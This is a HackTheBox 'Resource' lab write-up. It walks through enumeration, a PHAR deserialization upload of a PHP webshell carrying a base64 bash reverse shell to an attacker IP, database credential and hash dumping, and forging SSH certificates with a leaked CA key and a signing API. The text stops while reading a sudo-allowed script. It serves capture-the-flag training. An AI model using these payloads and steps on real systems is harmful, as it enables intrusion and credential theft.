Resource – HackTheBox Link to heading

  • OS: Linux
  • Difficulty: Hard
  • Platform: HackTheBox

‘Resource’ Avatar


Synopsis Link to heading

“Resource” is a Hard machine from HackTheBox platform. It teaches us how to perform a Phar Deserialization Attack to remotely execute commands. Additionally, this machine mainly teaches us how to play with signatures to generate SSH keys and obtain access to different users generating certificates for SSH.


User Link to heading

Starting with Nmap scan shows 3 ports open: 22 SSH, 80 HTTP and 2222 another SSH service:

❯ sudo nmap -sVC -p22,80,2222 10.10.11.27 -oN targeted

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-26 05:24 -03
Nmap scan report for 10.10.11.27
Host is up (0.21s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey:
|   256 78:1e:3b:85:12:64:a1:f6:df:52:41:ad:8f:52:97:c0 (ECDSA)
|_  256 e1:1a:b5:0e:87:a4:a1:81:69:94:9d:d4:d4:a3:8a:f9 (ED25519)
80/tcp   open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://itrc.ssg.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
2222/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 f2:a6:83:b9:90:6b:6c:54:32:22:ec:af:17:04:bd:16 (ECDSA)
|_  256 0c:c3:9c:10:f5:7f:d3:e4:a8:28:6a:51:ad:1a:e1:bf (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.43 seconds

From the scan output we can see a domain itrc.ssg.htb. We then add this domain to our /etc/hosts file:

❯ echo '10.10.11.27 itrc.ssg.htb' | sudo tee -a /etc/hosts

Once added this domain, we can visit http://itrc.ssg.htb. We can see an IT webpage for a company called Strategic Solutions Group (SSG):

Resource 1

At the top-right side we can see that we can register a user. Registering a simple user and log into the panel shows a site where we can send tickets:

Resource 2

Clicking on New Ticket we see that we can generate a ticket. We can add a subject, some text explaining the issue and attach only zip files. I will create a new ticket with a random zip file:

Resource 3

We can see that our ticket has been created:

Resource 4

Clicking in our ticket shows the uploaded zip file. If I put my mouse over the uploaded zip filename, it points to:

http://itrc.ssg.htb/uploads/3f7b7ff8a222d1751d73cd821e618db702f3d344.zip

The filename seems to be randomly generated.

Since we have a directory named /uploads I will search for more directories through a Brute Force Directory Listing with Gobuster:

❯ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://itrc.ssg.htb -t 55 -x php

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://itrc.ssg.htb
[+] Method:                  GET
[+] Threads:                 55
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/home.php             (Status: 200) [Size: 844]
/index.php            (Status: 200) [Size: 3120]
/login.php            (Status: 200) [Size: 433]
/register.php         (Status: 200) [Size: 566]
/uploads              (Status: 301) [Size: 314] [--> http://itrc.ssg.htb/uploads/]
/admin.php            (Status: 200) [Size: 46]
/assets               (Status: 301) [Size: 313] [--> http://itrc.ssg.htb/assets/]
/db.php               (Status: 200) [Size: 0]
/api                  (Status: 301) [Size: 310] [--> http://itrc.ssg.htb/api/]
/logout.php           (Status: 302) [Size: 0] [--> index.php]
/dashboard.php        (Status: 200) [Size: 46]
/ticket.php           (Status: 200) [Size: 46]
/loggedin.php         (Status: 200) [Size: 46]
/server-status        (Status: 403) [Size: 277]

We can see /uploads directory. I can also see an /admin.php directory. Visiting it just redirects to to the main portal. So we might need a valid session/cookie to enter in it.

One interesting thing about this site that calls my attention is that it uses /?page to send us to different pages in the site. For example, if we want to register it uses the parameter ?page=register; if we want to login it uses ?page=login; if we are logged in it sets ?page=dashboard; and if we want to create a new ticket it redirects to ?page=create_ticket. What this means is that, maybe, at backend level there page parameter is calling a file login.php, register.php, dashboard.php and create_ticket.php. Based on Gobuster output, many of these PHP files being called by ?page exist, so it might be the case. Therefore, we might be able to reach the uploaded file through this parameter. For example:

http://itrc.ssg.htb/?page=uploads/3f7b7ff8a222d1751d73cd821e618db702f3d344.zip

Now, visiting this site in a terminal with cURL returns a false positive:

❯ curl -s -I 'http://itrc.ssg.htb/?page=uploads/3f7b7ff8a222d1751d73cd821e618db702f3d344.zip'

HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Thu, 26 Sep 2024 09:07:45 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
X-Powered-By: PHP/8.1.29
Set-Cookie: PHPSESSID=e8614a61a1c70528469131efa9ba90bf; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache

Since it only redirects to the main webpage:

❯ curl -s 'http://itrc.ssg.htb/?page=uploads/3f7b7ff8a222d1751d73cd821e618db702f3d344.zip'

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>IT Support Center</title>
<SNIP>

I then decide to use ffuf to see if this parameter is vulnerable to a simple Path Traversal. Since this will always redirect to the main webpage (or dashboard if we are logged in), we can use the size of the response to filter the responses. We can check if ?page parameter is vulnerable to this kind of attack. For this I will use this Path Traversal dictionary from wfuzz. We will also grab my cookie/session from the main webpage:

❯ ffuf -u 'http://itrc.ssg.htb/?page=FUZZ'  -w ./Traversal.txt -H "Cookie: PHPSESSID=2f44f1f3bf7d0a4cdff80b11decbceeb" -c -fs 3985

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://itrc.ssg.htb/?page=FUZZ
 :: Wordlist         : FUZZ: /home/gunzf0x/HTB/HTBMachines/Medium/Resource/content/Traversal.txt
 :: Header           : Cookie: PHPSESSID=2f44f1f3bf7d0a4cdff80b11decbceeb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 3985
________________________________________________

:: Progress: [68/68] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors: 2 ::

But got no luck, so this parameter might not be vulnerable to a Path Traversal. Or at least not for a simple one that allows us to read files.

After attempting some things, we could try a PHAR Deserialization Attack. We can use hints provided at HackTricks and this post that explains them. So we can attempt to upload a simple PHP file that will send me a reverse shell. We will also encode the payload in base64. We create a simple webshell and compress it into a .zip file:

❯ echo 'bash -c "bash -i >& /dev/tcp/10.10.16.5/443 0>&1"' | base64 -w0
YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi41LzQ0MyAwPiYxIgo=%

❯ echo '<?shell_exec(base64_decode("YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi41LzQ0MyAwPiYxIgo="));?>' > shell.php

❯ zip -r shell.zip shell.php
updating: shell.php (deflated 8%)

Here, 10.10.16.5 is our attacker IP address and 443 the port we will start listening with netcat.

Create a new ticket and upload shell.zip file. Visit the new generated ticket and extract the generated link. In my case the new link to the image is:

http://itrc.ssg.htb/uploads/5e715f269e0d7571ecf1911cb76173e5d11a6a4d.zip

Start a listener with netcat on port 443. Now, based on the Phar Deserialization Attack we can attempt to visit:

curl -s 'http://itrc.ssg.htb/?page=phar://<Path uploaded file>'

In my case, what worked was:

❯ curl -s 'http://itrc.ssg.htb/?page=phar://uploads/5e715f269e0d7571ecf1911cb76173e5d11a6a4d.zip/shell'

and in our listener we get a shell as www-data user:

❯ nc -lvnp 443

listening on [any] 443 ...
connect to [10.10.16.5] from (UNKNOWN) [10.10.11.27] 50692
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
www-data@itrc:/var/www/itrc$ whoami

whoami
www-data

In the current directory we have, as we have seen before, many PHP files:

www-data@itrc:/var/www/itrc$ ls -la

total 108
drwxr-xr-x 1 www-data www-data 4096 Feb 19  2024 .
drwxr-xr-x 1 www-data www-data 4096 Aug 13 11:13 ..
-rw-rw-r-- 1 www-data www-data 4313 Jan 24  2024 admin.php
drwxrwxr-x 1 www-data www-data 4096 Feb 26  2024 api
drwxrwxr-x 1 www-data www-data 4096 Jan 22  2024 assets
-rw-rw-r-- 1 www-data www-data  979 Jan 23  2024 create_ticket.php
-rw-rw-r-- 1 www-data www-data  344 Jan 24  2024 dashboard.php
-rw-rw-r-- 1 www-data www-data  308 Jan 22  2024 db.php
-rw-rw-r-- 1 www-data www-data  746 Jan 24  2024 filter.inc.php
-rw-rw-r-- 1 www-data www-data  982 Jan 24  2024 footer.inc.php
-rw-rw-r-- 1 www-data www-data 1869 Jan 24  2024 header.inc.php
-rw-rw-r-- 1 www-data www-data  844 Jan 22  2024 home.php
-rw-rw-r-- 1 www-data www-data  368 Feb 19  2024 index.php
-rw-rw-r-- 1 www-data www-data  105 Feb 19  2024 loggedin.php
-rw-rw-r-- 1 www-data www-data  433 Jan 23  2024 login.php
-rw-rw-r-- 1 www-data www-data   73 Jan 22  2024 logout.php
-rw-rw-r-- 1 www-data www-data  566 Jan 23  2024 register.php
-rw-rw-r-- 1 www-data www-data 2225 Feb  6  2024 savefile.inc.php
-rw-rw-r-- 1 www-data www-data 4968 Feb  6  2024 ticket.php
-rw-rw-r-- 1 www-data www-data 1374 Jan 24  2024 ticket_section.inc.php
drwxrwxr-x 1 www-data www-data 4096 Sep 26 09:52 uploads

Reading db.php shows something:

<?php

$dsn = "mysql:host=db;dbname=resourcecenter;";
$dbusername = "jj";
$dbpassword = "ugEG5rR5SG8uPd";
$pdo = new PDO($dsn, $dbusername, $dbpassword);

try {
    $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
} catch (PDOException $e) {
    die("Connection failed: " . $e->getMessage());
}

Credentials for a database.

We are not able to see running processes/open ports to check if MySQL is running on the machine:

www-data@itrc:/var/www/itrc$ netstat -nltp | grep 3306

(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)

However, if we try to connect to this database with these credentials we find through MySQL, and to the hostname db:

www-data@itrc:/var/www/itrc$ mysql -u jj -pugEG5rR5SG8uPd -h db
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 171
Server version: 11.4.3-MariaDB-ubu2404 mariadb.org binary distribution

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]>

Here, we are able to find a database named resourcecenter, with a table named users. If we check what we have in this table:

MariaDB [resourcecenter]> select * from users;

+----+-------------+--------------------------------------------------------------+-------+------------+
| id | user        | password                                                     | role  | department |
+----+-------------+--------------------------------------------------------------+-------+------------+
|  1 | zzinter     | $2y$10$VCpu.vx5K6tK3mZGeir7j.ly..il/YwPQcR2nUs4/jKyUQhGAriL2 | admin | NULL       |
|  2 | msainristil | $2y$10$AT2wCUIXC9jyuO.sNMil2.R950wZlVQ.xayHZiweHcIcs9mcblpb6 | admin | NULL       |
|  3 | mgraham     | $2y$10$4nlQoZW60mVIQ1xauCe5YO0zZ0uaJisHGJMPNdQNjKOhcQ8LsjLZ2 | user  | NULL       |
|  4 | kgrant      | $2y$10$pLPQbIzcehXO5Yxh0bjhlOZtJ18OX4/O4mjYP56U6WnI6FvxvtwIm | user  | NULL       |
|  5 | bmcgregor   | $2y$10$nOBYuDGCgzWXIeF92v5qFOCvlEXdI19JjUZNl/zWHHX.RQGTS03Aq | user  | NULL       |
|  9 | gunzf0x     | $2y$10$gop2S/9QO9IWrfGFCUmYLOoyU8ulK36UGS.RKXpcNDj04xilpwPhe | user  | NULL       |
+----+-------------+--------------------------------------------------------------+-------+------------+
6 rows in set (0.001 sec)

We have many hashes.

Checking /home directory in the target machine shows 2 users:

www-data@itrc:/var/www/itrc$ ls -la /home

total 20
drwxr-xr-x 1 root        root        4096 Aug 13 11:13 .
drwxr-xr-x 1 root        root        4096 Aug 13 11:13 ..
drwx------ 1 msainristil msainristil 4096 Aug 13 11:13 msainristil
drwx------ 1 zzinter     zzinter     4096 Sep 26 08:27 zzinter

These users are the first 2 users in MySQL database. I will grab their password hashes and save them into a file.

We attempt to crack them through a Brute Force Password Cracking but took too much time so I assume this is not the right way.

Going back to the files we can check the /uploads directory. We can see that we have multiple .zip files. Based on their creation date, some of them are older than expected:

www-data@itrc:/var/www/itrc/uploads$ ls -la
total 1160
drwxrwxr-x 1 www-data www-data    4096 Sep 26 10:35 .
drwxr-xr-x 1 www-data www-data    4096 Feb 19  2024 ..
<SNIP>
-rw-r--r-- 1 www-data www-data     211 Sep 26 10:35 5e715f269e0d7571ecf1911cb76173e5d11a6a4d.zip
-rw-rw-r-- 1 www-data www-data 1162513 Feb  6  2024 c2f4813259cc57fab36b311c5058cf031cb6eb51.zip
-rw-rw-r-- 1 www-data www-data     634 Feb  6  2024 e8c6575573384aeeab4d093cc99c7e5927614185.zip
-rw-rw-r-- 1 www-data www-data     275 Feb  6  2024 eb65074fe37671509f24d1652a44944be61e4360.zip
<SNIP>

If we decompress all of them with a simple Bash oneliner we can see:

www-data@itrc:/var/www/itrc/uploads$ for file in *.zip; do unzip $file; done

<SNIP>
Archive:  5e715f269e0d7571ecf1911cb76173e5d11a6a4d.zip
  inflating: shell.php
Archive:  c2f4813259cc57fab36b311c5058cf031cb6eb51.zip
  inflating: itrc.ssg.htb.har
Archive:  e8c6575573384aeeab4d093cc99c7e5927614185.zip
  inflating: id_rsa.pub
Archive:  eb65074fe37671509f24d1652a44944be61e4360.zip
  inflating: id_ed25519.pub

We have some public keys. We also have a .har file.

Info
The HTTP Archive format, or HAR, is a JSON-formatted archive file format for logging of a web browser’s interaction with a site.

So I assume this is a kind of JSON file. Reading it shows a ton of data.

Since the decompressed file is in /upload directory, which we have access, I will try to visualize it using cURL . After applying some filters we get what seems to be a password:

❯ curl -s 'http://itrc.ssg.htb/uploads/itrc.ssg.htb.har' | jq | grep -vE 'port-fill|Transitioning' | grep 'pass' -A 2

            "text": "user=msainristil&pass=82yards2closeit",
            "params": [
              {
--
                "name": "pass",
                "value": "82yards2closeit"
              }

We have credentials: msainristil:82yards2closeit.

Just as a parenthesis, I check if this password was present on rockyou.txt dictionary so we could have also found this password with JohnTheRipper and the passwords found in the MySQL database:

❯ grep -n '^82yards2closeit$' /usr/share/wordlists/rockyou.txt

but it’s not.

Back from the parenthesis, we check if we can log in as this user with this password with SSH using NetExec:

❯ netexec ssh 10.10.11.27 -u 'msainristil' -p '82yards2closeit'

SSH         10.10.11.27     22     10.10.11.27      [*] SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u3
SSH         10.10.11.27     22     10.10.11.27      [+] msainristil:82yards2closeit  (non root) Linux - Shell access!

and we can.

We then connect via SSH:

❯ sshpass -p '82yards2closeit' ssh -o stricthostkeychecking=no msainristil@10.10.11.27

<SNIP>

msainristil@itrc:~$ whoami
msainristil

but the user flag is not here. That is a surprise since it’s been a long way to here.

Also, we note we are not in the victim machine itself; we are inside a Docker container:

msainristil@itrc:~/decommission_old_ca$ hostname -I
172.223.0.3

msainristil@itrc:~$ ls -la / | grep docker
-rwxr-xr-x   1 root root    0 Aug 13 11:13 .dockerenv

If we check what files we have available at this user’s /home directory we find:

msainristil@itrc:~$ ls -la

total 32
drwx------ 1 msainristil msainristil 4096 Aug 13 11:13 .
drwxr-xr-x 1 root        root        4096 Aug 13 11:13 ..
lrwxrwxrwx 1 root        root           9 Aug 13 11:13 .bash_history -> /dev/null
-rw-r--r-- 1 msainristil msainristil  220 Mar 29 19:40 .bash_logout
-rw-r--r-- 1 msainristil msainristil 3526 Mar 29 19:40 .bashrc
-rw-r--r-- 1 msainristil msainristil  807 Mar 29 19:40 .profile
drwxr-xr-x 1 msainristil msainristil 4096 Jan 24  2024 decommission_old_ca

Checking decomission_old_ca directory:

msainristil@itrc:~$ ls -la decommission_old_ca/

total 20
drwxr-xr-x 1 msainristil msainristil 4096 Jan 24  2024 .
drwx------ 1 msainristil msainristil 4096 Aug 13 11:13 ..
-rw------- 1 msainristil msainristil 2602 Jan 24  2024 ca-itrc
-rw-r--r-- 1 msainristil msainristil  572 Jan 24  2024 ca-itrc.pub

and if we check what are these files, they are SSH keys (private and public key, respectively):

msainristil@itrc:~$ file decommission_old_ca/ca-itrc
decommission_old_ca/ca-itrc: OpenSSH private key

msainristil@itrc:~$ file decommission_old_ca/ca-itrc.pub
decommission_old_ca/ca-itrc.pub: OpenSSH RSA public key

After some research, I find this StackOverflow post that explains how to sign and authorize keys when we do have certificates. First, we generate a key:

msainristil@itrc:~/decommission_old_ca$ ssh-keygen -t rsa -b 2048 -f keypair

Generating public/private rsa key pair.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in keypair
Your public key has been saved in keypair.pub
The key fingerprint is:
SHA256:LFe6zqE+rqvaSEMcP8TiPQJom/1j5MLgXlpOkD7LDZk msainristil@itrc
The key's randomart image is:
+---[RSA 2048]----+
|                 |
|. .              |
|o+ o      .      |
|= @    . o       |
| @ * .. S        |
|+ B *  o .       |
| E * =  o        |
|+o% o o+ .       |
|o*o+o=+.o        |
+----[SHA256]-----+

and sign it:

msainristil@itrc:~/decommission_old_ca$ ssh-keygen -s ca-itrc -n zzinter -I anythinghere keypair.pub

Signed user key keypair-cert.pub: id "anythinghere" serial 0 for zzinter valid forever

Here, -s stays for the signer and -n for the target user.

This generate 3 files:

msainristil@itrc:~/decommission_old_ca$ ls -la

total 32
drwxr-xr-x 1 msainristil msainristil 4096 Sep 26 11:08 .
drwx------ 1 msainristil msainristil 4096 Aug 13 11:13 ..
-rw------- 1 msainristil msainristil 2602 Jan 24  2024 ca-itrc
-rw-r--r-- 1 msainristil msainristil  572 Jan 24  2024 ca-itrc.pub
-rw------- 1 msainristil msainristil 1823 Sep 26 11:08 keypair
-rw-r--r-- 1 msainristil msainristil 1855 Sep 26 11:08 keypair-cert.pub
-rw-r--r-- 1 msainristil msainristil  398 Sep 26 11:08 keypair.pub

Finally, just pass all these files through, for example, scp:

❯ sshpass -p '82yards2closeit' scp 'msainristil@10.10.11.27:~/decommission_old_ca/keypair*' ./

❯ ls -la

total 36
drwxrwxr-x 2 gunzf0x gunzf0x 4096 Sep 26 08:13 .
drwxrwxr-x 5 gunzf0x gunzf0x 4096 Sep 26 05:22 ..
-rw-rw-r-- 1 gunzf0x gunzf0x  142 Sep 26 07:15 hashes_found
-rw------- 1 gunzf0x gunzf0x 1823 Sep 26 08:13 keypair
-rw-r--r-- 1 gunzf0x gunzf0x 1855 Sep 26 08:13 keypair-cert.pub
-rw-r--r-- 1 gunzf0x gunzf0x  398 Sep 26 08:13 keypair.pub
-rw-rw-r-- 1 gunzf0x gunzf0x    5 Sep 26 05:36 test.txt
-rw-rw-r-- 1 gunzf0x gunzf0x  171 Sep 26 05:36 test.zip
-rw-rw-r-- 1 gunzf0x gunzf0x 3388 Sep 26 06:24 Traversal.txt

We can then use this file to log through SSH as zzinter user:

❯ ssh -i keypair zzinter@10.10.11.27

<SNIP>

zzinter@itrc:~$ whoami

zzinter

We can finally read the user’s flag at this user’s /home directory.


Root Link to heading

If we check what files we have as this new user, we can see:

zzinter@itrc:~$ ls -la

total 32
drwx------ 1 zzinter zzinter 4096 Sep 27 00:47 .
drwxr-xr-x 1 root    root    4096 Aug 13 11:13 ..
lrwxrwxrwx 1 root    root       9 Aug 13 11:13 .bash_history -> /dev/null
-rw-r--r-- 1 zzinter zzinter  220 Mar 29 19:40 .bash_logout
-rw-r--r-- 1 zzinter zzinter 3526 Mar 29 19:40 .bashrc
-rw-r--r-- 1 zzinter zzinter  807 Mar 29 19:40 .profile
-rw-rw-r-- 1 root    root    1193 Feb 19  2024 sign_key_api.sh
-rw-r----- 1 root    zzinter   33 Sep 27 00:42 user.txt

There is a Bash script called sign_key_api.sh. Reading it returns:

#!/bin/bash

usage () {
    echo "Usage: $0 <public_key_file> <username> <principal>"
    exit 1
}

if [ "$#" -ne 3 ]; then
    usage
fi

public_key_file="$1"
username="$2"
principal_str="$3"

supported_principals="webserver,analytics,support,security"
IFS=',' read -ra principal <<< "$principal_str"
for word in "${principal[@]}"; do
    if ! echo "$supported_principals" | grep -qw "$word"; then
        echo "Error: '$word' is not a supported principal."
        echo "Choose from:"
        echo "    webserver - external web servers - webadmin user"
        echo "    analytics - analytics team databases - analytics user"
        echo "    support - IT support server - support user"
        echo "    security - SOC servers - support user"
        echo
        usage
    fi
done

if [ ! -f "$public_key_file" ]; then
    echo "Error: Public key file '$public_key_file' not found."
    usage
fi

public_key=$(cat $public_key_file)

curl -s signserv.ssg.htb/v1/sign -d '{"pubkey": "'"$public_key"'", "username": "'"$username"'", "principals": "'"$principal"'"}' -H "Content-Type: application/json" -H "Authorization:Bearer 7Tqx6owMLtnt6oeR2ORbWmOPk30z4ZH901kH6UUT6vNziNqGrYgmSve5jCmnPJDE"

This script takes a public key, a user, and a list of supported actions/principals. After checking that the arguments are valid, it sends a public key along with the username and principals to a remote domain signserv.ssg.htb via a POST request using a Bearer token.

At this point we note some things:

  1. We are still inside a container:
zzinter@itrc:~$ hostname -I

172.223.0.3
  1. The script owner is root, so it could be, similar as we did the intrusion for zzinter user, a script signing keys for this user.
  2. The script is calling a subdomain signserv.ssg.htb. We add this new subdomain to our /etc/hosts file, so it now looks like:
❯ tail -n 1 /etc/hosts

10.10.11.27 itrc.ssg.htb signserv.ssg.htb
  1. From Nmap scan, we remember SSH service was running in 2 different ports: 22 and 2222. Maybe 22 is running in the Docker container and 2222 is running in the real victim machine. We are not able to run the script in the victim machine:
zzinter@itrc:~$ ./sign_key_api.sh

-bash: ./sign_key_api.sh: Permission denied

so we grab this script to our attacker machine.

Once downloaded into our attacker machine, we assign to this script execution permissions (running chmod +x ./sign_key_api.sh) and now we are able to execute it:

❯ ./sign_key_api.sh

Usage: ./sign_key_api.sh <public_key_file> <username> <principal>

We need some public files. If we search for .pub files into the container with find command, we have:

zzinter@itrc:/var/www/itrc/uploads$ find / -name "*.pub" -type f 2>/dev/null

/var/www/itrc/uploads/id_ed25519.pub
/var/www/itrc/uploads/id_rsa.pub
/etc/ssh/ssh_host_ed25519_key.pub
/etc/ssh/ssh_host_rsa_key.pub
/etc/ssh/ssh_host_ecdsa_key.pub
/etc/ssh/ca_users_keys.pub
/etc/ssh/ssh_host_ed25519_key-cert.pub
/etc/ssh/ssh_host_ecdsa_key-cert.pub
/etc/ssh/ssh_host_rsa_key-cert.pub

There is a directory /etc/ssh directory that contain many of these files. But they are not useful at the moment.

Back to the Bash script, server_principals are kind of valid roles that are allowed to be associated with a user as is explained here. We have 4 valid roles then: webserver, analytics, support and security. We then attempt to create certificates for each roll with a oneliner:

❯ for role in {webserver,analytics,support,security}; do SAVE_FILE="$(echo -n $role)_cert.cert"; ./sign_key_api.sh keypair.pub $role $role > $SAVE_FILE ; done

❯ ls -la *.cert

-rw-rw-r-- 1 gunzf0x gunzf0x 951 Sep 26 23:02 analytics_cert.cert
-rw-rw-r-- 1 gunzf0x gunzf0x 951 Sep 26 23:02 security_cert.cert
-rw-rw-r-- 1 gunzf0x gunzf0x 947 Sep 26 23:02 support_cert.cert
-rw-rw-r-- 1 gunzf0x gunzf0x 951 Sep 26 23:02 webserver_cert.cert

One of the connection works for the user support using one of the generated certificates for SSH:

❯ ssh -o CertificateFile=support_cert.cert -i keypair support@10.10.11.27 -p 2222

<SNIP>

support@ssg:~$ whoami
support

support@ssg:~$ hostname -I
10.10.11.27 172.17.0.1 172.21.0.1 172.223.0.1 dead:beef::250:56ff:feb0:ef63

We are now inside the victim machine, not a container.

If we search info about SSH Principals, we find this post explaining them. There, they say we should look at /etc/ssh directory. Doing this we find:

support@ssg:~$ ls -la /etc/ssh

total 604
drwxr-xr-x   5 root root   4096 Jul 24 12:24 .
drwxr-xr-x 100 root root   4096 Jul 30 08:45 ..
drwxr-xr-x   2 root root   4096 Feb  8  2024 auth_principals
-rw-------   1 root root    399 Feb  8  2024 ca-analytics
-rw-r--r--   1 root root     94 Feb  8  2024 ca-analytics.pub
-rw-------   1 root root    432 Feb  8  2024 ca-it
<SNIP>

There an auth_principals directory.

Inside this directory we have 3 files:

support@ssg:~$ ls -la /etc/ssh/auth_principals/

total 20
drwxr-xr-x 2 root root 4096 Feb  8  2024 .
drwxr-xr-x 5 root root 4096 Jul 24 12:24 ..
-rw-r--r-- 1 root root   10 Feb  8  2024 root
-rw-r--r-- 1 root root   18 Feb  8  2024 support
-rw-r--r-- 1 root root   13 Feb  8  2024 zzinter

Each one of them defines a “principal”/role:

support@ssg:/etc/ssh/auth_principals$ cat root
root_user

support@ssg:/etc/ssh/auth_principals$ cat support
support
root_user

support@ssg:/etc/ssh/auth_principals$ cat zzinter
zzinter_temp

2 of them are new (that were not present in sign_key_api.sh): root_user and zzinter_temp.

We can add these roles to sign_key_api.sh script in the downloaded copy in our attacker machine, so now the line defining supported_principals variable looks like:

supported_principals="webserver,analytics,support,security,root_user,zzinter_temp"

Now, similar as we generated the certificate for support user, let’s generate a certificate for root_user and zzinter_temp principals/roles. If we create a key for the user zzinter this works:

❯ ./sign_key_api_modified.sh keypair.pub zzinter zzinter_temp
ssh-rsa-cert-v01@openssh.com AAAAHHNzaC1yc2EtY2VydC12MDFAb3BlbnNzaC5jb20AAAAgRteQFNaHuwyFZf33CdsOPun86XIsrWsfvanZQopESggAAAADAQABAAABAQDqHzS0A+IyAeoRcZLmuYjLkMzQ+ssOXlx4UDqZQvmCjk+IKw8Uy72hm8yheyjybwrg+fu8UD6ITh/H/MfU9dPnhmXwcl2rGcnx9Ul33QhDoS5ft3mzimutiMMyrxN+UrXl404cTS6rRHx86ttfLGnHQfMoLRwoAFjSxRxV1VpMXoxb3BzxPt8EpwydnyxKF2XkP8kqILI2xu8/GJ4zKZ86aOIc7BoecnxOLVTfoDHn8XT1+VSsg0aObSl5tGDRBEO2zCOGXy5j45Bac+QBINbxLeiknelMuixpa85MvticksW29bqRNIFPoUaSxPTNUFi5nHsKjX6REjEYm/hUasqFAAAAAAAAADAAAAABAAAAB3p6aW50ZXIAAAAQAAAADHp6aW50ZXJfdGVtcAAAAABm7N2o//////////8AAAAAAAAAggAAABVwZXJtaXQtWDExLWZvcndhcmRpbmcAAAAAAAAAF3Blcm1pdC1hZ2VudC1mb3J3YXJkaW5nAAAAAAAAABZwZXJtaXQtcG9ydC1mb3J3YXJkaW5nAAAAAAAAAApwZXJtaXQtcHR5AAAAAAAAAA5wZXJtaXQtdXNlci1yYwAAAAAAAAAAAAAAMwAAAAtzc2gtZWQyNTUxOQAAACCB4PArnctUocmH6swtwDZYAHFu0ODKGbnswBPJjRUpsQAAAFMAAAALc3NoLWVkMjU1MTkAAABA+zLmTbZFF3+EnMvo+g+NtfbGIa8sHHMpTsyONGex31o+rb02Ly5YlOuefj8Kbo+8vRTo9DljG5oSwjtcjTh/DA== msainristil@itrc

❯ ./sign_key_api_modified.sh keypair.pub zzinter zzinter_temp > zzinter_cert.cert

But if we attempt to do this to root user, it fails:

❯ ./sign_key_api_modified.sh keypair.pub root root_user

{"detail":"Root access must be granted manually. See the IT admin staff."}

zzinter user exists on the victim machine (besides the container):

support@ssg:/etc/ssh/auth_principals$ ls /home

support  zzinter

So we can attempt to log in as zzinter user with the generated certificate:

❯ ssh -o CertificateFile=zzinter_cert.cert -i keypair zzinter@10.10.11.27 -p 2222

<SNIP>
zzinter@ssg:~$ whoami

zzinter

This user, in the original victim machine, is allowed to run a Bash script with sudo as root user without providing a password:

zzinter@ssg:~$ sudo -l

Matching Defaults entries for zzinter on ssg:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User zzinter may run the following commands on ssg:
    (root) NOPASSWD: /opt/sign_key.sh

Reading the script:

#!/bin/bash

usage () {
    echo "Usage: $0 <ca_file> <public_key_file> <username> <principal> <serial>"
    exit 1
}

if [ "$#" -ne 5 ]; then
    usage
fi

ca_file="$1"
public_key_file="$2"
username="$3"
principal_str="$4"
serial="$5"

if [ ! -f "$ca_file" ]; then
    echo "Error: CA file '$ca_file' not found."
    usage
fi

itca=$(cat /etc/ssh/ca-it)
ca=$(cat "$ca_file")
if ` $itca == $ca `; then
    echo "Error: Use API for signing with this CA."
    usage
fi

if [ ! -f "$public_key_file" ]; then
    echo "Error: Public key file '$public_key_file' not found."
    usage
fi

supported_principals="webserver,analytics,support,security"
IFS=',' read -ra principal <<< "$principal_str"
for word in "${principal[@]}"; do
    if ! echo "$supported_principals" | grep -qw "$word"; then
        echo "Error: '$word' is not a supported principal."
        echo "Choose from:"
        echo "    webserver - external web servers - webadmin user"
        echo "    analytics - analytics team databases - analytics user"
        echo "    support - IT support server - support user"
        echo "    security - SOC servers - support user"
        echo
        usage
    fi
done

if ! ` $serial =~ ^[0-9]+$ `; then
    echo "Error: '$serial' is not a number."
    usage
fi

